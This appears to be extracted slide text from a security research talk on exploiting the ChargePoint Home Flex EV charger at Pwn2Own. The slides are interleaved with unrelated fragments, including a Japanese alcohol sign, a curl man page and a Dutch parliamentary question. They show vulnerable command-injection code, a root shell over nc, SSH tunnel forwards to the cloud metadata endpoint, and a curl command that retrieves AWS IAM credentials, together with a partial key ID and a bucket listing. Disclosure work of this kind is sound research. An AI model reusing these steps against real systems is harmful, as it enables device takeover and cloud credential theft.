

Computest

**Low Energy to High Energy:
Hacking Nearby EV-Chargers Over Bluetooth**

Computest
always on.


PWU 2017


AUTOMOTIVE











Obtaining the firmware

- > Autoboot was enabled, root password was unknown
- > Connect both JTAG and serial
- > Reset and halt the CPU
- > Find the **abortboot()** function in memory and set a breakpoint
 - Make sure it returns 1
- > Use serial to boot into single user mode
- > Add a user to the system and drop a suid shell
- > Profit!

7.4.1. Stack buffer overflow in btclassic


When parsing the “password” parameter of the “connect_to_wifi” request, the service copies it to the stack buffer without proper length verification (see Listing 9).

Listing 9. Btclassic vulnerable code

```
pswd = (void *)json_dumps(joPassword, 512);  
  
...  
  
strcpy(.pswdHash, (const char *)pswd);
```

“pswdHash” here is a 0xD0-byte stack buffer. This can lead to a stack buffer overflow and a denial of service attack.

For successful vulnerability exploitation, the charging station needs to be in the unregistered state. To place the station into that state, an attacker may need to make a power-cycle prepended by the reset-to-factory-defaults procedure, which requires physical access to the charger.



```
snprintf(  
    command,  
    0x100u,  
    "/usr/sbin/wpa_passphrase \"%s\" \"%s\" | grep \"psk=\" | tail -1 | cut -c6-\",  
    &msg->ssid,  
    &msg->password);  
popen_res = popen(command, "r");
```

SUCCESS - Sina Kheirkhah was able to execute his attack against the ChargePoint Home Flex for \$60,000 and 6 Master of Pwn Points.

BUG COLLISION - The Synacktiv Team used a two-bug chain against the ChargePoint Home Flex. However, the exploit they used was previously known. They still earn \$16,000 and 3 Master of Pwn Points.

BUG COLLISION - Connor Ford of Nettitude executed his attack against the ChargePoint Home Flex. However, his 2-bug chain was previously known. He still earns \$16,000 and 3 Master of Pwn Points.

BUG COLLISION - Chris Anastasio and Fabius Watson of Team Cluck successfully attacked the ChargePoint Home Flex. However, the bug they used was previously known. They still earn \$16,000 and 3 Master of Pwn Points.

BUG COLLISION - Team Tortuga successfully used a 2-bug chain against the ChargePoint Home Flex. However, the exploit used was previously known. They still earn \$15,000 and 3 Master of Pwn Points.



These are
ALCHOL




You Cannot Drink
Until You Are 20 Years Old
in Japan

20歳未満の飲酒
および飲酒運転は
法律で禁止されて
います。



100円

1000円札



/opt/etc/coul/cps.conf:

Url=https://172.16.110.201:343/gs/pgm.php

WsUrl=wss://homecharger-eu.chargepoint.com:443/ws-prod/panda/v1

WsKey=/var/config/.keys/ca.crt

AuthUrl=https://172.16.50.197:343/gs/pgm

KioskUrl=http://172.31.254.10:80/gsemb_in/pgm.php

CACertificateFile=/var/config/.keys/ca.crt

CertificateFile=/var/config/.keys/system.crt

KeyFile=/var/config/.keys/system.key

KeyType=PEM

VerifyHostName=1

MaxEnqueueFailures=40

CURLOPT_SSL_VERIFYHOST explained

Name

CURLOPT_SSL_VERIFYHOST - verify the certificate's name against host

Related:

[easy options](#)

[getinfo options](#)

[multi options](#)

[File a bug about this page](#)

[View man page source](#)

Synopsis

```
#include <curl/curl.h>
```

```
CURLcode curl_easy_setopt(CURL *handle, CURLOPT_SSL_VERIFYHOST, long verify);
```

Description

Pass a long as parameter specifying what to *verify*.

This option determines whether libcurl verifies that the server cert is for the server it is known as.

When negotiating TLS and SSL connections, the server sends a certificate indicating its identity.

When [CURLOPT_SSL_VERIFYHOST](#) is 2, that certificate must indicate that the server is the server to which you meant to connect, or the connection fails. Simply put, it means it has to have the same name in the certificate as is in the URL you operate against.

Curl considers the server the intended one when the Common Name field or a Subject Alternate Name field in the certificate matches the hostname in the URL to which you told Curl to connect.

If *verify* value is set to 1:


In 7.28.0 and earlier: treated as a debug option of some sorts, not supported anymore due to frequently leading to programmer mistakes.

From 7.28.1 to 7.65.3: setting it to 1 made [curl_easy_setopt](#) return an error and leaving the flag untouched.

From 7.66.0: treats 1 and 2 the same.

When the *verify* value is 0, the connection succeeds regardless of the names in the certificate. Use that ability with caution!

The default value for this option is 2.




```
[
  2,
  "1706198695",
  "DataTransfer",
  {
    "vendorId": "ChargePoint",
    "data": "saddr|1|3508|<serial number>|1706198695|0|1|1706198695|
homecharger-eu.chargepoint.com:443/ws-prod/panda/v1"
  },
  "<serial number>"
]
```

```
if ( command_id == 701 )
{
    v91 = payload[136];
    v92 = s;
    strcpy((char *)s, "NA");
    if ( v91 )
    v92 = payload + 136;
    cmd = payload + 36;
    CTLogWhere(5, "RouteToFsmInstance", 4105, 0x4000, "\n**** Executing BOOTCONTROL
cmd %s\n", cmd);
    v94 = strstr(cmd, "reboot");
    type = "reboot";
    if ( !v94 )
        type = "bankswitch";
    recordReboot(v92, type, "NOC", 0, 1);
    system(cmd);
}
```



Zero Day Initiative

@thezdi@infosec.exchange

Confirmed! Daan Keuper, Thijs Alkemade and Khaled Nassar of Computest Sector 7 used a 2-bug chain to exploit the ChargePoint Home Flex. #Pwn2Own

The image shows a screenshot of a Pwn2Own challenge page for 'Computest Sector 7' targeting 'ChargePoint Home Flex'. The challenge is marked as 'SUCCESS' and has a prize of '\$30,000' and '6' points. To the right, a terminal window displays the results of a successful exploit, showing the user 'root' and system information for a Linux kernel version 5.15.0.

SUCCESS

Computest Sector 7

TARGETING

ChargePoint Home Flex


PRIZE \$
\$30,000

POINTS
6

```
Individual files in /usr/share/doc/*/*copyright:
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jan 26 18:36:25 2024 from 18.211.95.1
root@intercept: ~# nc 172.16.138.137 1337
18
uid=0(root) gid=0(root)
uname -a
Linux cs_0824e188888d5529 5.15.0 #1 Fri Sep 15 14:58:34 UTC 2023 amd64 GNU/Linux
ifconfig
eth0      Link encap:Ethernet  HWaddr 88:24:81:84:55:29
          inet addr:172.16.138.137  Bcast:172.16.138.255  Mask:255.255.0.0
          inet6 addr: fe80::208:4eff:fe5:1234/64 Scope:link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:58 errors:0 dropped:11 overruns:0 frame:0
          TX packets:52 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:4257 (4.1 KiB)  TX bytes:5878 (5.7 KiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:12 errors:0 dropped:0 overruns:0 frame:0
          TX packets:12 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:844 (844.0 B)  TX bytes:844 (844.0 B)

18
uid=0(root) gid=0(root)
11:03:29.541515 IP 172.16.138.137 > 172.16.138.201: ICMP echo 64 bytes from 172.16.138.137: icmp_seq=77 ttl=64 time=0.04 m
64 bytes from 172.16.138.137: icmp_seq=78 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=79 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=80 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=81 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=82 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=83 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=84 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=85 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=86 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=87 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=88 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=89 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=90 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=91 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=92 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=93 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=94 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=95 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=96 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=97 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=98 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=99 ttl=64 time=0.17 m
64 bytes from 172.16.138.137: icmp_seq=100 ttl=64 time=0.17 m
```



```
#!/bin/sh
# Bring up pinned up reverse tunnel to mothership. Try forever, but back off
# connection attempts to keep from wasting resources. Peg the retry time at
# some max and keep trying.
...
SERIAL_NUM=`cat /var/config/cs_sn`
SN_YEAR=`echo $SERIAL_NUM | head -c 2`
BASE_SERVER_PORT=20000
BASE_SERIAL=0
SERIAL_MODULO=10000
SERIAL_MINOR=`expr $SERIAL_NUM % $SERIAL_MODULO`
REVPORTR=`expr $SERIAL_MINOR - $BASE_SERIAL`
REVPORTR=`expr $REVPORTR + $BASE_SERVER_PORT`
#FOR QA server please uncomment this line
#REVSYSTEM="pandagateway.ev-chargepoint.com"
REVSYSTEM="ba79k2rx5jru.chargepoint.com"
REVSYSTEMPORT="-p 343"
REVHOST="pandart@$REVSYSTEM"
REVHOST_2016="pandart@xiuq0o4yl57c.chargepoint.com"
#For 2017
REVHOST_2017="pandart@xiuq0o4yl57c2017.chargepoint.com"
...
while true; do
    ...
    # Connect to the appropriate server based on the year code in the serial number.
    if [ "$SN_YEAR" = "17" ]; then
        # Connect to the 2017 server.
        #printf "---> Connecting to 2017 server: $REVHOST_2017\n"
        $LOG "attempting connection to $REVHOST_2017"
        ssh -o "StrictHostKeyChecking no" -o "ExitOnForwardFailure yes" $REVSYSTEMPORT -N -T
-R $REVPORTR:localhost:23 $REVHOST_2017 &
    ...

```

```
ssh -o "StrictHostKeyChecking no" -o "ExitOnForwardFailure yes" -p 343 -N -T  
-R $REVPORT:localhost:23  
pandart@xiuq0o4yl57c2017.chargepoint.com
```

```
ssh -o "StrictHostKeyChecking no" -o "ExitOnForwardFailure yes" -p 343 -N -T  
-L 1337:127.0.0.1:20023  
pandart@xiuq0o4yl57c2017.chargepoint.com
```

```
ssh -o "StrictHostKeyChecking no" -o "ExitOnForwardFailure yes" -p 343 -N -T  
-L 1337:google.com:80  
pandart@xiuq0o4yl57c2017.chargepoint.com
```



```
ssh -o "StrictHostKeyChecking no" -o "ExitOnForwardFailure yes" -p 343 -N -T  
-L 1337:169.254.169.254:80  
pandart@xiuq0o4yl57c2017.chargepoint.com
```

```
$ curl http://localhost:1337/latest/meta-data/iam/security-credentials/cp-prod-ota-servers-role
```

```
{  
  "Code": "Success",  
  "LastUpdated": "2024-01-25T20:21:21Z",  
  "Type": "AWS-HMAC",  
  "AccessKeyId": "ASIAQKPTIBNKQN2DLSML",  
  "SecretAccessKey": "<key>",  
  "Token": "<token>",  
  "Expiration": "2024-01-26T02:28:42Z"  
}
```

```
$ aws s3 ls
2020-03-27 16:17:02 aws-athena-query-results-022521842517-ca-central-1
2019-07-17 19:23:19 aws-athena-query-results-022521842517-eu-central-1
2020-06-26 07:15:33 aws-athena-query-results-022521842517-us-west-2
2022-09-21 08:52:30 aws-cloudtrail-logs-022521842517-c3dfcdde-debug-datalake
2022-01-20 14:21:52 aws-glue-assets-022521842517-us-west-2
2020-06-26 07:53:11 aws-glue-scripts-022521842517-us-west-2
2020-06-26 07:57:20 aws-glue-temporary-022521842517-us-west-2
2020-06-17 04:15:13 cf-templates-aws-deployer-2-cp-prod-ap-southeast-2
2020-06-10 04:11:10 cf-templates-aws-deployer-2-cp-prod-ca-central-1
2020-06-23 04:10:57 cf-templates-aws-deployer-2-cp-prod-eu-central-1
2020-06-17 04:15:13 cf-templates-aws-deployer-cp-prod-ap-southeast-2
2020-06-23 04:10:57 cf-templates-aws-deployer-cp-prod-eu-central-1
2020-07-01 13:45:27 cf-templates-aws-deployer-cp-prod-us-east-1
2020-06-26 12:17:56 cf-templates-aws-deployer-cp-prod-us-west-2
2020-06-17 04:16:26 cf-templates-fg3iuljzn1mh-ap-southeast-2
2020-06-10 04:11:28 cf-templates-fg3iuljzn1mh-ca-central-1
2020-06-23 04:12:10 cf-templates-fg3iuljzn1mh-eu-central-1
2020-06-18 03:55:58 cf-templates-fg3iuljzn1mh-us-east-2
2020-06-26 12:23:09 cf-templates-fg3iuljzn1mh-us-west-2
2020-06-27 08:06:20 config-bucket-cp-prod
2019-07-19 11:36:28 cp-infra-logs
2020-07-02 15:38:44 cp-prod-022521842517-cloudtrail-logs
2020-03-27 10:51:52 cp-prod-ca-datalake
2022-02-17 01:52:33 cp-prod-cardconf
2020-06-27 08:26:51 cp-prod-datalake-build-artifacts
2021-08-18 02:19:20 cp-prod-fra-nos-notification-configuration
2022-02-24 09:36:38 cp-prod-fra-nos-pricing
2022-04-02 23:15:49 cp-prod-fra-nos-reports
...
```

Vergaderjaar 2023–2024

Vragen gesteld door de leden der Kamer

2024Z12536

Vragen van het lid **Erkens** (VVD) aan de Minister van Klimaat en Groene Groei over het artikel «TenneT wil regels zien voor apps voor zonnepanelen en waarschuwt voor black-outs» (ingezonden 23 augustus 2024).

Vraag 1

Bent u bekend met het artikel «TenneT wil regels zien voor apps voor zonnepanelen en waarschuwt voor black-outs»?¹ Hoe apprecieert u dit?


Vraag 2

Welke regels op het gebied van IT-veiligheid gelden er voor fabrikanten van apps en sites voor het beheren van zonnepanelen? Klopt het dat zich hier grote kwetsbaarheden voordoen? Zo ja, welke?

Vraag 3

Hoe verhoudt de wet- en regelgeving voor fabrikanten van apps en sites voor het beheren van zonnepanelen op het gebied van IT-veiligheid zich tot de wet- en regelgeving op dit gebied die geldt voor andere energiebedrijven? Waarom gelden er voor deze bedrijven verschillende regels op het gebied van IT-veiligheid?

Want to read our full write-up?



sector7.computest.nl